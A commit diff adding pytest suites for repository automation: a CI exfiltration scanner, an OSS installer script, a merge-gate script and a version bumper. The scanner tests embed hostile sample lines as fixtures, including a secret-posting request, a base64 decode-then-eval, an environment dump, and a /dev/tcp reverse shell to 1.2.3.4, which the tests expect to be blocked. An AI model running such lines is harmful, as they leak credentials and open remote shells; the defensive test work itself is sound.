chore: import upstream snapshot with attribution
This commit is contained in:
@@ -0,0 +1 @@
|
||||
"""Tests for repo automation scripts."""
|
||||
@@ -0,0 +1,183 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
REPO_ROOT = Path(__file__).resolve().parents[2]
|
||||
SCRIPT = REPO_ROOT / ".github/scripts/security-scan/exfil-scan.py"
|
||||
|
||||
|
||||
def _run(tmp_path: Path, diff: str) -> subprocess.CompletedProcess[str]:
|
||||
"""
|
||||
Run exfil-scan.py over a unified-diff string and return the finished process.
|
||||
|
||||
:param tmp_path: Pytest tmp dir for the diff file.
|
||||
:param diff: Unified-diff text (as ``gh pr diff`` would emit).
|
||||
:returns: The completed process; ``returncode`` is non-zero iff blocking,
|
||||
and ``stdout`` carries the ``::error``/``::warning`` annotations.
|
||||
"""
|
||||
diff_file = tmp_path / "pr.diff"
|
||||
diff_file.write_text(diff)
|
||||
env = os.environ.copy()
|
||||
env["DIFF_FILE"] = str(diff_file)
|
||||
return subprocess.run(
|
||||
[sys.executable, str(SCRIPT)],
|
||||
env=env,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
)
|
||||
|
||||
|
||||
def _diff(path: str, added: list[str]) -> str:
|
||||
"""
|
||||
Build a minimal unified diff that ADDS *added* lines to *path*.
|
||||
|
||||
:param path: Destination file path, e.g. ``"tests/e2e/conftest.py"``.
|
||||
:param added: Line bodies to mark as added (no leading ``+``).
|
||||
:returns: A unified-diff string the scanner can parse.
|
||||
"""
|
||||
body = "".join(f"+{ln}\n" for ln in added)
|
||||
return (
|
||||
f"diff --git a/{path} b/{path}\n"
|
||||
f"index 1111111..2222222 100644\n"
|
||||
f"--- a/{path}\n"
|
||||
f"+++ b/{path}\n"
|
||||
f"@@ -1,1 +1,{len(added) + 1} @@\n"
|
||||
f" context\n"
|
||||
f"{body}"
|
||||
)
|
||||
|
||||
|
||||
def test_benign_diff_is_clean(tmp_path: Path) -> None:
|
||||
"""A normal test addition (no exfil, no CI-bootstrap file) scans clean.
|
||||
|
||||
Guards against the scan blocking ordinary contributions. Asserts exit 0 and
|
||||
no error annotation for an unremarkable new test file.
|
||||
"""
|
||||
proc = _run(
|
||||
tmp_path, _diff("tests/test_math.py", ["def test_add():", " assert 1 + 1 == 2"])
|
||||
)
|
||||
assert proc.returncode == 0, proc.stdout
|
||||
assert "::error" not in proc.stdout
|
||||
|
||||
|
||||
def test_secret_source_plus_network_blocks(tmp_path: Path) -> None:
|
||||
"""Reading a secret-named cred AND a network sink in one file blocks.
|
||||
|
||||
The canonical exfil shape. Asserts exit 1 and an error annotation naming the
|
||||
offending file.
|
||||
"""
|
||||
proc = _run(
|
||||
tmp_path,
|
||||
_diff(
|
||||
"tests/e2e/conftest.py",
|
||||
[
|
||||
"import requests, os",
|
||||
"requests.post('http://x', data=os.environ['DATABRICKS_CLIENT_SECRET'])",
|
||||
],
|
||||
),
|
||||
)
|
||||
assert proc.returncode == 1
|
||||
assert "::error file=tests/e2e/conftest.py" in proc.stdout
|
||||
|
||||
|
||||
def test_decode_then_exec_blocks(tmp_path: Path) -> None:
|
||||
"""A decode-then-exec payload blocks even without a network sink.
|
||||
|
||||
``eval(base64.b64decode(...))`` is almost never legitimate. Asserts exit 1.
|
||||
"""
|
||||
proc = _run(
|
||||
tmp_path,
|
||||
_diff("setup.py", ["import base64", "eval(base64.b64decode('cHduZWQ='))"]),
|
||||
)
|
||||
assert proc.returncode == 1
|
||||
|
||||
|
||||
def test_environ_dump_blocks(tmp_path: Path) -> None:
|
||||
"""Serializing the whole environment blocks (wholesale-secret exfil).
|
||||
|
||||
``json.dumps(os.environ)`` is a classic dump-everything sink. Asserts exit 1.
|
||||
"""
|
||||
proc = _run(
|
||||
tmp_path,
|
||||
_diff(
|
||||
"tests/conftest.py",
|
||||
["import json, os", "open('/tmp/x','w').write(json.dumps(os.environ))"],
|
||||
),
|
||||
)
|
||||
assert proc.returncode == 1
|
||||
|
||||
|
||||
def test_reverse_shell_blocks(tmp_path: Path) -> None:
|
||||
"""A /dev/tcp reverse-shell shape blocks. Asserts exit 1."""
|
||||
proc = _run(
|
||||
tmp_path,
|
||||
_diff(
|
||||
"tests/conftest.py",
|
||||
["import os", "os.system('bash -i >& /dev/tcp/1.2.3.4/9001 0>&1')"],
|
||||
),
|
||||
)
|
||||
assert proc.returncode == 1
|
||||
|
||||
|
||||
def test_normal_gateway_test_not_blocked(tmp_path: Path) -> None:
|
||||
"""Using LLM_API_KEY + a network call (a normal e2e test) does NOT block.
|
||||
|
||||
Low-false-positive guard: the LLM key is not a secret-NAMED source, so an
|
||||
ordinary gateway test that reads it and makes a request scans clean. Asserts
|
||||
exit 0.
|
||||
"""
|
||||
proc = _run(
|
||||
tmp_path,
|
||||
_diff(
|
||||
"tests/e2e/test_gateway.py",
|
||||
[
|
||||
"import requests, os",
|
||||
"key = os.environ['LLM_API_KEY']",
|
||||
"requests.get(GATEWAY) # normal e2e",
|
||||
],
|
||||
),
|
||||
)
|
||||
assert proc.returncode == 0, proc.stdout
|
||||
|
||||
|
||||
def test_ci_file_touch_is_info_not_blocking(tmp_path: Path) -> None:
|
||||
"""A benign edit to a CI-executed file is INFO (clean), not blocking.
|
||||
|
||||
Editing conftest.py / .github without an exfil pattern should surface a
|
||||
warning for the reviewer but not block. Asserts exit 0 with a warning.
|
||||
"""
|
||||
proc = _run(tmp_path, _diff("tests/conftest.py", ["# add a harmless fixture comment"]))
|
||||
assert proc.returncode == 0, proc.stdout
|
||||
assert "::warning file=tests/conftest.py" in proc.stdout
|
||||
|
||||
|
||||
def test_passing_environ_around_not_blocked(tmp_path: Path) -> None:
|
||||
"""Passing os.environ to a helper (no dump) does NOT block.
|
||||
|
||||
Regression: a bare ``os.environ)`` matched benign ``helper(os.environ)`` and
|
||||
blocked. Only a wholesale dump (``json.dumps(os.environ)`` etc.) should
|
||||
block. Asserts exit 0.
|
||||
"""
|
||||
proc = _run(tmp_path, _diff("tests/conftest.py", ["import os", "configure_app(os.environ)"]))
|
||||
assert proc.returncode == 0, proc.stdout
|
||||
|
||||
|
||||
def test_generic_access_token_field_not_blocked(tmp_path: Path) -> None:
|
||||
"""A generic ``access_token`` field + a network call does NOT block.
|
||||
|
||||
Regression: a case-insensitive ``ACCESS_TOKEN`` term matched ordinary
|
||||
OAuth/JSON ``access_token`` identifiers and, combined with any network use,
|
||||
blocked. Asserts exit 0.
|
||||
"""
|
||||
proc = _run(
|
||||
tmp_path,
|
||||
_diff(
|
||||
"tests/test_oauth.py",
|
||||
["access_token = resp.json()['access_token']", "requests.get(url, headers=h)"],
|
||||
),
|
||||
)
|
||||
assert proc.returncode == 0, proc.stdout
|
||||
@@ -0,0 +1,328 @@
|
||||
"""Tests for the OSS installer shell script (``scripts/install_oss.sh``).
|
||||
|
||||
The installer is POSIX ``sh``. Its argument parsing and URL/path/profile
|
||||
derivation are pure string logic that must stay correct across the shapes
|
||||
users actually pass (``--repo git@host:org/repo.git``, ``--version X``,
|
||||
bare ``https://`` URLs) and across macOS/Linux + zsh/bash combinations.
|
||||
|
||||
Strategy: the script ends in a single ``main "$@"`` call. We strip that one
|
||||
line to get a sourceable library, then drive individual functions from a
|
||||
fresh ``sh -c`` per case. Platform branches that shell out to ``uname`` are
|
||||
made deterministic by defining a ``uname`` shell function in the snippet
|
||||
(a function shadows the external command), and ``linux_pkg_install_cmd``'s
|
||||
package-manager probe is driven by putting fake executables on ``PATH``.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shlex
|
||||
import shutil
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
# repo-root/scripts/install_oss.sh, from tests/scripts/test_install_oss.py
|
||||
INSTALLER = Path(__file__).resolve().parents[2] / "scripts" / "install_oss.sh"
|
||||
|
||||
# Resolve sh up front: some tests override PATH to probe package-manager
|
||||
# detection, which would otherwise hide the launcher from subprocess.
|
||||
SH = shutil.which("sh") or "/bin/sh"
|
||||
|
||||
# Agent credentials must not leak into the script under test (CLAUDE.md).
|
||||
_STRIP_ENV = ("DATABRICKS_TOKEN", "ANTHROPIC_API_KEY", "CODEX", "CLAUDE_CODE")
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
def lib(tmp_path_factory: pytest.TempPathFactory) -> Path:
|
||||
"""Return a sourceable copy of the installer with its ``main "$@"`` call removed.
|
||||
|
||||
Sourcing the original would run the full installer (network, uv, PATH
|
||||
edits). Dropping the single trailing invocation leaves every function
|
||||
definition intact and side-effect-free to source.
|
||||
"""
|
||||
text = INSTALLER.read_text()
|
||||
lines = text.splitlines(keepends=True)
|
||||
stripped = [ln for ln in lines if ln.rstrip("\n") != 'main "$@"']
|
||||
assert len(stripped) == len(lines) - 1, (
|
||||
'Expected exactly one `main "$@"` invocation to strip; the script '
|
||||
"shape changed and this harness needs updating."
|
||||
)
|
||||
out = tmp_path_factory.mktemp("install_oss") / "lib.sh"
|
||||
out.write_text("".join(stripped))
|
||||
return out
|
||||
|
||||
|
||||
def run(
|
||||
lib: Path, snippet: str, env: dict[str, str] | None = None
|
||||
) -> subprocess.CompletedProcess[str]:
|
||||
"""Source ``lib`` and run ``snippet`` in a fresh POSIX shell.
|
||||
|
||||
:param snippet: shell run after the library is sourced; its exit status
|
||||
and stdout are the assertion surface.
|
||||
:param env: overrides merged onto a credential-scrubbed copy of os.environ.
|
||||
"""
|
||||
base = {k: v for k, v in os.environ.items() if k not in _STRIP_ENV}
|
||||
if env:
|
||||
base.update(env)
|
||||
program = f". {shlex.quote(str(lib))}\n{snippet}\n"
|
||||
return subprocess.run(
|
||||
[SH, "-c", program], capture_output=True, text=True, env=base, timeout=30
|
||||
)
|
||||
|
||||
|
||||
def test_parse_args_sets_flags(lib: Path) -> None:
|
||||
"""``--non-interactive`` and ``--verbose`` flip their globals to ``true``."""
|
||||
r = run(lib, 'parse_args --non-interactive --verbose; echo "$NON_INTERACTIVE $VERBOSE"')
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert r.stdout.strip() == "true true", (
|
||||
f"Both flags should set their globals to 'true', got {r.stdout.strip()!r}."
|
||||
)
|
||||
|
||||
|
||||
def test_parse_args_captures_version_and_repo(lib: Path) -> None:
|
||||
"""``--version`` and ``--repo`` capture the value that follows each flag."""
|
||||
r = run(lib, 'parse_args --version 1.2.3 --repo https://x/y; echo "$VERSION|$REPO_URL"')
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert r.stdout.strip() == "1.2.3|https://x/y", (
|
||||
f"Version and repo should be captured verbatim, got {r.stdout.strip()!r}."
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("args", ["--version", "--repo", "--frobnicate"])
|
||||
def test_parse_args_rejects_bad_input(lib: Path, args: str) -> None:
|
||||
"""A value-less ``--version``/``--repo`` and any unknown flag exit non-zero.
|
||||
|
||||
These are the guards that stop a typo'd invocation from silently
|
||||
installing the wrong thing.
|
||||
"""
|
||||
r = run(lib, f"parse_args {args}")
|
||||
assert r.returncode != 0, (
|
||||
f"`parse_args {args}` should fail, but exited 0 with stdout {r.stdout!r}."
|
||||
)
|
||||
|
||||
|
||||
def test_normalize_repo_url_empty_means_pypi(lib: Path) -> None:
|
||||
"""No ``--repo`` leaves ``INSTALL_URL`` empty — the default PyPI wheel path."""
|
||||
r = run(lib, 'REPO_URL=; normalize_repo_url; echo "[$INSTALL_URL]"')
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert r.stdout.strip() == "[]", (
|
||||
f"Empty REPO_URL must yield an empty INSTALL_URL, got {r.stdout.strip()!r}."
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("repo_url", "expected"),
|
||||
[
|
||||
# bare https/http -> prefixed with git+ so uv treats it as a VCS source
|
||||
("https://github.com/o/r", "git+https://github.com/o/r"),
|
||||
("http://example.com/o/r", "git+http://example.com/o/r"),
|
||||
# already a pip VCS URL -> passed through untouched
|
||||
("git+https://github.com/o/r", "git+https://github.com/o/r"),
|
||||
("git+ssh://git@host/o/r", "git+ssh://git@host/o/r"),
|
||||
# bare ssh:// -> git+ssh://
|
||||
("ssh://git@host/o/r", "git+ssh://git@host/o/r"),
|
||||
# scp-like git@host:org/repo.git -> git+ssh://git@host/org/repo.git
|
||||
("git@host:org/repo.git", "git+ssh://git@host/org/repo.git"),
|
||||
],
|
||||
)
|
||||
def test_normalize_repo_url_shapes(lib: Path, repo_url: str, expected: str) -> None:
|
||||
"""Each supported ``--repo`` URL shape normalizes to the uv VCS spelling."""
|
||||
r = run(
|
||||
lib, f'REPO_URL={shlex.quote(repo_url)}; normalize_repo_url; printf "%s" "$INSTALL_URL"'
|
||||
)
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert r.stdout == expected, (
|
||||
f"{repo_url!r} should normalize to {expected!r}, got {r.stdout!r}."
|
||||
)
|
||||
|
||||
|
||||
def test_normalize_repo_url_unsupported_fails(lib: Path) -> None:
|
||||
"""An unrecognized ``--repo`` value fails loudly instead of guessing."""
|
||||
r = run(lib, "REPO_URL=not-a-url; normalize_repo_url")
|
||||
assert r.returncode != 0, "An unsupported --repo URL must fail, not be silently accepted."
|
||||
assert "Unsupported --repo URL" in r.stderr, (
|
||||
f"The error should name the offending input, got stderr {r.stderr!r}."
|
||||
)
|
||||
|
||||
|
||||
def test_normalize_repo_url_version_repo_conflict_fails(lib: Path) -> None:
|
||||
"""``--version`` (a PyPI pin) combined with ``--repo`` (a source build) is rejected."""
|
||||
r = run(lib, "REPO_URL=https://x/y; VERSION=1.2.3; normalize_repo_url")
|
||||
assert r.returncode != 0, "--version + --repo is contradictory and must fail."
|
||||
assert "--version" in r.stderr and "--repo" in r.stderr, (
|
||||
f"The error should explain the version/repo conflict, got {r.stderr!r}."
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("install_url", "expected_rc"),
|
||||
[("git+https://x/y", 0), ("", 1)],
|
||||
)
|
||||
def test_building_from_source(lib: Path, install_url: str, expected_rc: int) -> None:
|
||||
"""``building_from_source`` is true only when ``INSTALL_URL`` is non-empty."""
|
||||
r = run(lib, f"INSTALL_URL={shlex.quote(install_url)}; building_from_source")
|
||||
assert r.returncode == expected_rc, (
|
||||
f"INSTALL_URL={install_url!r} should give rc {expected_rc}, got {r.returncode}."
|
||||
)
|
||||
|
||||
|
||||
def test_path_contains(lib: Path) -> None:
|
||||
"""``path_contains`` matches a whole PATH segment, not a substring."""
|
||||
hit = run(lib, "PATH=/a:/b/bin:/c; path_contains /b/bin")
|
||||
miss = run(lib, "PATH=/a:/b/bin:/c; path_contains /b")
|
||||
assert hit.returncode == 0, "A directory present as a full PATH segment should match."
|
||||
assert miss.returncode == 1, "/b must not match the /b/bin segment (no substring matches)."
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("uname", "shell", "expected"),
|
||||
[
|
||||
("Darwin", "/usr/bin/zsh", ".zprofile"),
|
||||
("Darwin", "/bin/bash", ".bash_profile"),
|
||||
("Linux", "/usr/bin/zsh", ".zshrc"),
|
||||
("Linux", "/bin/bash", ".bashrc"),
|
||||
("Linux", "/usr/bin/fish", ".profile"), # unknown shell -> POSIX fallback
|
||||
],
|
||||
)
|
||||
def test_pick_profile(lib: Path, uname: str, shell: str, expected: str) -> None:
|
||||
"""The shell profile is chosen from the OS + login shell pair."""
|
||||
home = "/tmp/fakehome"
|
||||
r = run(
|
||||
lib,
|
||||
f"uname() {{ echo {uname}; }}; pick_profile",
|
||||
env={"HOME": home, "SHELL": shell},
|
||||
)
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert r.stdout.strip() == f"{home}/{expected}", (
|
||||
f"{uname}+{shell} should pick {expected}, got {r.stdout.strip()!r}."
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("uname", "ok"), [("Darwin", True), ("Linux", True), ("MINGW64_NT", False)]
|
||||
)
|
||||
def test_check_platform(lib: Path, uname: str, ok: bool) -> None:
|
||||
"""Only macOS and Linux are supported; anything else fails loudly."""
|
||||
r = run(lib, f"uname() {{ echo {uname}; }}; check_platform")
|
||||
if ok:
|
||||
assert r.returncode == 0, f"{uname} should be accepted, got stderr {r.stderr!r}."
|
||||
else:
|
||||
assert r.returncode != 0, f"{uname} should be rejected as unsupported."
|
||||
assert "macOS and Linux only" in r.stderr
|
||||
|
||||
|
||||
def test_spinner_frame_cycles(lib: Path) -> None:
|
||||
"""The spinner cycles ``-`` ``\\`` ``|`` ``/`` and wraps modulo 4."""
|
||||
r = run(
|
||||
lib, "spinner_frame 0; spinner_frame 1; spinner_frame 2; spinner_frame 3; spinner_frame 4"
|
||||
)
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert r.stdout == "-\\|/-", f"Spinner should cycle and wrap at 4, got {r.stdout!r}."
|
||||
|
||||
|
||||
def test_prompt_yes_no_non_interactive_declines(lib: Path) -> None:
|
||||
"""In ``--non-interactive`` mode the prompt declines without reading input.
|
||||
|
||||
This is what keeps unattended installs from blocking on a TTY read.
|
||||
"""
|
||||
r = run(lib, "NON_INTERACTIVE=true; prompt_yes_no 'install foo?'")
|
||||
assert r.returncode == 1, "Non-interactive prompts must default to 'no' (rc 1)."
|
||||
assert r.stdout == "", f"Nothing should be printed to a non-TTY prompt, got {r.stdout!r}."
|
||||
|
||||
|
||||
def _bindir(tmp_path: Path, *tools: str) -> str:
|
||||
"""Create a directory holding empty executable stubs for ``tools`` and return it.
|
||||
|
||||
``linux_pkg_install_cmd`` only probes presence via ``command -v``, so the
|
||||
stubs need to be executable but need not do anything.
|
||||
"""
|
||||
for tool in tools:
|
||||
stub = tmp_path / tool
|
||||
stub.write_text("#!/bin/sh\n")
|
||||
stub.chmod(0o755)
|
||||
return str(tmp_path)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("tools", "expected"),
|
||||
[
|
||||
(("dnf",), "sudo dnf install -y tmux"),
|
||||
(("yum",), "sudo yum install -y tmux"),
|
||||
(("pacman",), "sudo pacman -S --noconfirm tmux"),
|
||||
(("zypper",), "sudo zypper install -y tmux"),
|
||||
# apt-get takes precedence when several managers are present
|
||||
(("apt-get", "dnf", "yum"), "sudo apt-get install -y tmux"),
|
||||
],
|
||||
)
|
||||
def test_linux_pkg_install_cmd(
|
||||
lib: Path, tmp_path: Path, tools: tuple[str, ...], expected: str
|
||||
) -> None:
|
||||
"""The package-manager command matches the detected manager, apt-get first."""
|
||||
bindir = _bindir(tmp_path, *tools)
|
||||
r = run(lib, "linux_pkg_install_cmd tmux", env={"PATH": bindir})
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert r.stdout == expected, f"Tools {tools} should yield {expected!r}, got {r.stdout!r}."
|
||||
|
||||
|
||||
def test_linux_pkg_install_cmd_none_present(lib: Path, tmp_path: Path) -> None:
|
||||
"""With no known package manager on PATH the helper emits nothing."""
|
||||
bindir = _bindir(tmp_path) # empty dir
|
||||
r = run(lib, "linux_pkg_install_cmd tmux", env={"PATH": bindir})
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert r.stdout == "", f"No package manager should produce empty output, got {r.stdout!r}."
|
||||
|
||||
|
||||
def test_check_bubblewrap_noop_on_macos(lib: Path, tmp_path: Path) -> None:
|
||||
"""On macOS the bubblewrap check is a silent no-op — seatbelt needs no binary."""
|
||||
bindir = _bindir(tmp_path)
|
||||
r = run(lib, "uname() { echo Darwin; }; check_bubblewrap", env={"PATH": bindir})
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert "bubblewrap" not in (r.stdout + r.stderr), (
|
||||
f"macOS should say nothing about bubblewrap, got stdout={r.stdout!r} stderr={r.stderr!r}."
|
||||
)
|
||||
|
||||
|
||||
def test_check_bubblewrap_present_on_linux(lib: Path, tmp_path: Path) -> None:
|
||||
"""When ``bwrap`` is on PATH the Linux check reports it available."""
|
||||
bindir = _bindir(tmp_path, "bwrap")
|
||||
r = run(lib, "uname() { echo Linux; }; check_bubblewrap", env={"PATH": bindir})
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert "bubblewrap (bwrap) is available" in r.stdout, (
|
||||
f"A present bwrap should be reported available, got {r.stdout!r}."
|
||||
)
|
||||
|
||||
|
||||
def test_check_bubblewrap_missing_warns_with_pkg_cmd(lib: Path, tmp_path: Path) -> None:
|
||||
"""Missing ``bwrap`` warns (non-fatally) with the detected install command.
|
||||
|
||||
The native harness sandbox needs bwrap on Linux, but the installer must not
|
||||
abort the whole install over it — it warns and continues (exit 0).
|
||||
"""
|
||||
bindir = _bindir(tmp_path, "apt-get") # package manager present, but no bwrap
|
||||
r = run(
|
||||
lib,
|
||||
"uname() { echo Linux; }; NON_INTERACTIVE=true; check_bubblewrap",
|
||||
env={"PATH": bindir},
|
||||
)
|
||||
assert r.returncode == 0, "A missing bwrap must warn, not fail (exit 0)."
|
||||
assert "sudo apt-get install -y bubblewrap" in r.stderr, (
|
||||
f"The warning should name the detected install command, got {r.stderr!r}."
|
||||
)
|
||||
|
||||
|
||||
def test_check_bubblewrap_missing_no_pkg_manager_warns_generically(
|
||||
lib: Path, tmp_path: Path
|
||||
) -> None:
|
||||
"""Missing ``bwrap`` with no known package manager falls back to a generic warning."""
|
||||
bindir = _bindir(tmp_path) # no bwrap, no package manager
|
||||
r = run(
|
||||
lib,
|
||||
"uname() { echo Linux; }; NON_INTERACTIVE=true; check_bubblewrap",
|
||||
env={"PATH": bindir},
|
||||
)
|
||||
assert r.returncode == 0, "A missing bwrap must warn, not fail (exit 0)."
|
||||
assert "Install it with your package manager" in r.stderr, (
|
||||
f"With no package manager the warning should be generic, got {r.stderr!r}."
|
||||
)
|
||||
@@ -0,0 +1,87 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
REPO_ROOT = Path(__file__).resolve().parents[2]
|
||||
SCRIPT = REPO_ROOT / ".github/scripts/merge-ready/compute-gate.sh"
|
||||
|
||||
# A representative FAILED bullet list, the shape evaluate-checks.sh emits.
|
||||
FAILED = "- `E2E Tests (shard 0/4)` (still pending or cancelled)\n"
|
||||
|
||||
|
||||
def _run(
|
||||
tmp_path: Path,
|
||||
*,
|
||||
eval_outcome: str = "failure",
|
||||
failed: str = FAILED,
|
||||
) -> dict[str, str]:
|
||||
"""Run compute-gate.sh with the given env and parse its GITHUB_OUTPUT.
|
||||
|
||||
The script makes no ``gh`` calls -- it is a pure function of its env -- so we
|
||||
just set the inputs and read back ``state`` / ``short_desc`` / ``long_desc``.
|
||||
"""
|
||||
out_file = tmp_path / "gh_output"
|
||||
out_file.touch()
|
||||
|
||||
env = os.environ.copy()
|
||||
env.update(
|
||||
{
|
||||
"EVAL": eval_outcome,
|
||||
"FAILED": failed,
|
||||
"GITHUB_OUTPUT": str(out_file),
|
||||
}
|
||||
)
|
||||
|
||||
proc = subprocess.run(
|
||||
["bash", str(SCRIPT)],
|
||||
env=env,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
)
|
||||
assert proc.returncode == 0, f"script failed: {proc.stderr}"
|
||||
return _parse_github_output(out_file.read_text())
|
||||
|
||||
|
||||
def _parse_github_output(text: str) -> dict[str, str]:
|
||||
"""Parse GITHUB_OUTPUT, honoring both ``k=v`` and ``k<<DELIM ... DELIM``."""
|
||||
out: dict[str, str] = {}
|
||||
lines = text.splitlines()
|
||||
i = 0
|
||||
while i < len(lines):
|
||||
line = lines[i]
|
||||
if "<<" in line and "=" not in line.split("<<", 1)[0]:
|
||||
key, _, delim = line.partition("<<")
|
||||
body: list[str] = []
|
||||
i += 1
|
||||
while i < len(lines) and lines[i] != delim:
|
||||
body.append(lines[i])
|
||||
i += 1
|
||||
out[key] = "\n".join(body)
|
||||
elif "=" in line:
|
||||
key, _, value = line.partition("=")
|
||||
out[key] = value
|
||||
i += 1
|
||||
return out
|
||||
|
||||
|
||||
def test_green_gate_is_success(tmp_path: Path) -> None:
|
||||
"""A green CI eval yields state=success and the merging-now message."""
|
||||
out = _run(tmp_path, eval_outcome="success")
|
||||
assert out["state"] == "success"
|
||||
assert "merging now" in out["long_desc"]
|
||||
|
||||
|
||||
def test_red_gate_is_failure(tmp_path: Path) -> None:
|
||||
"""A red CI eval lists the failing checks and yields state=failure."""
|
||||
out = _run(tmp_path, eval_outcome="failure")
|
||||
assert out["state"] == "failure"
|
||||
assert "gate not green yet" in out["long_desc"]
|
||||
|
||||
|
||||
def test_short_desc_never_exceeds_140_chars(tmp_path: Path) -> None:
|
||||
"""The 140-char commit status limit is respected."""
|
||||
out = _run(tmp_path, eval_outcome="failure")
|
||||
assert len(out["short_desc"]) <= 140
|
||||
@@ -0,0 +1,156 @@
|
||||
"""
|
||||
Unit tests for ``scripts/update_versions.py`` (the lockstep version bumper).
|
||||
|
||||
The ``repo_copy`` fixture copies the repo's *real* ``pyproject.toml``
|
||||
files into a temp tree, so the regex anchors are exercised against the
|
||||
actual file formatting — a drift in either the script or the files
|
||||
fails here.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib.util
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
_REPO_ROOT = Path(__file__).resolve().parents[2]
|
||||
|
||||
# ``scripts`` is a namespace package (no ``__init__.py``), so a bare
|
||||
# ``from scripts import update_versions`` is shadowed by the regular
|
||||
# ``tests/scripts`` package when both resolve as a top-level ``scripts`` during
|
||||
# a full-suite collection (pytest's default "prepend" import mode), failing with
|
||||
# ``ImportError: cannot import name 'update_versions' from 'scripts'``. Load the
|
||||
# module by its repo-root file path instead, which is immune to the collision.
|
||||
_UPDATE_VERSIONS_SPEC = importlib.util.spec_from_file_location(
|
||||
"_update_versions_under_test", _REPO_ROOT / "scripts" / "update_versions.py"
|
||||
)
|
||||
assert _UPDATE_VERSIONS_SPEC is not None and _UPDATE_VERSIONS_SPEC.loader is not None
|
||||
update_versions = importlib.util.module_from_spec(_UPDATE_VERSIONS_SPEC)
|
||||
# Register before exec so dataclasses defined in the module can resolve their
|
||||
# defining module via ``sys.modules`` during class creation.
|
||||
sys.modules[_UPDATE_VERSIONS_SPEC.name] = update_versions
|
||||
_UPDATE_VERSIONS_SPEC.loader.exec_module(update_versions)
|
||||
_PYPROJECTS = [
|
||||
"pyproject.toml",
|
||||
"sdks/python-client/pyproject.toml",
|
||||
"sdks/ui/pyproject.toml",
|
||||
]
|
||||
# The runtime version constant is stamped/verified alongside the pyprojects.
|
||||
_VERSION_PY = "omnigent/version.py"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def repo_copy(tmp_path: Path) -> Path:
|
||||
"""Copy the real pyproject.toml files + version.py into a temp repo root."""
|
||||
root = tmp_path / "repo"
|
||||
for rel in (*_PYPROJECTS, _VERSION_PY):
|
||||
dst = root / rel
|
||||
dst.parent.mkdir(parents=True, exist_ok=True)
|
||||
dst.write_text((_REPO_ROOT / rel).read_text())
|
||||
return root
|
||||
|
||||
|
||||
def test_set_version_rewrites_every_location(repo_copy: Path) -> None:
|
||||
changed = update_versions.set_version(repo_copy, "9.9.9")
|
||||
# Three pyprojects plus omnigent/version.py.
|
||||
assert len(changed) == 4
|
||||
# root: version line + two sibling pins; SDKs: version line + one pin.
|
||||
assert (repo_copy / "pyproject.toml").read_text().count("9.9.9") == 3
|
||||
assert (repo_copy / "sdks/python-client/pyproject.toml").read_text().count("9.9.9") == 2
|
||||
assert (repo_copy / "sdks/ui/pyproject.toml").read_text().count("9.9.9") == 2
|
||||
# The runtime constant is stamped too.
|
||||
assert 'VERSION = "9.9.9"' in (repo_copy / _VERSION_PY).read_text()
|
||||
# check() round-trips: all agree and pins are exact.
|
||||
assert update_versions.check(repo_copy, expect="9.9.9") == "9.9.9"
|
||||
|
||||
|
||||
def test_set_version_updates_runtime_constant(repo_copy: Path) -> None:
|
||||
"""The bump path keeps omnigent/version.py's VERSION in lockstep.
|
||||
|
||||
This is the gap that would otherwise make the automated bot bump commit a
|
||||
stale constant and trip the ``test_version_matches_pyproject`` backstop.
|
||||
"""
|
||||
version_py = repo_copy / _VERSION_PY
|
||||
assert 'VERSION = "9.9.9"' not in version_py.read_text()
|
||||
changed = update_versions.set_version(repo_copy, "9.9.9")
|
||||
assert version_py in changed
|
||||
assert 'VERSION = "9.9.9"' in version_py.read_text()
|
||||
|
||||
|
||||
def test_check_detects_version_py_drift(repo_copy: Path) -> None:
|
||||
"""A stale VERSION constant (pyprojects consistent) fails check()."""
|
||||
update_versions.set_version(repo_copy, "9.9.9")
|
||||
version_py = repo_copy / _VERSION_PY
|
||||
version_py.write_text(version_py.read_text().replace('VERSION = "9.9.9"', 'VERSION = "9.9.8"'))
|
||||
with pytest.raises(ValueError, match=r"omnigent/version\.py VERSION"):
|
||||
update_versions.check(repo_copy)
|
||||
|
||||
|
||||
def test_set_version_fails_loud_when_constant_absent(repo_copy: Path) -> None:
|
||||
"""A version.py missing the VERSION line must raise, not silently no-op."""
|
||||
version_py = repo_copy / _VERSION_PY
|
||||
version_py.write_text('"""No constant here."""\n')
|
||||
with pytest.raises(ValueError, match="expected exactly 1 match"):
|
||||
update_versions.set_version(repo_copy, "9.9.9")
|
||||
|
||||
|
||||
def test_set_version_preserves_unrelated_version_literals(repo_copy: Path) -> None:
|
||||
root_pyproject = repo_copy / "pyproject.toml"
|
||||
before = root_pyproject.read_text()
|
||||
# Real third-party floor that shares the old version digits — must
|
||||
# survive a bump untouched (anchored-on-name replacement, not blind).
|
||||
assert '"databricks-mcp>=0.1.0",' in before
|
||||
